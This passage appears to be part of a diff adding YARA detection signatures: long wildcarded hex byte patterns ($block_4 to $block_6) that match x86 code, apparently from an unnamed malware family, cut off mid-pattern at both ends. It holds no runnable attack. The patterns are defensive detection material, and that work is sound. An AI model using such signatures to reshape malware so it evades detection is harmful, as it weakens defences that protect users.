?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? 5? 0F B6 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 }
+		$block_4 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8D ?? ?? 5? 0F B7 ?? ?? 5? 0F B6 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? 33 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_5 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 }
+		$block_6 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? 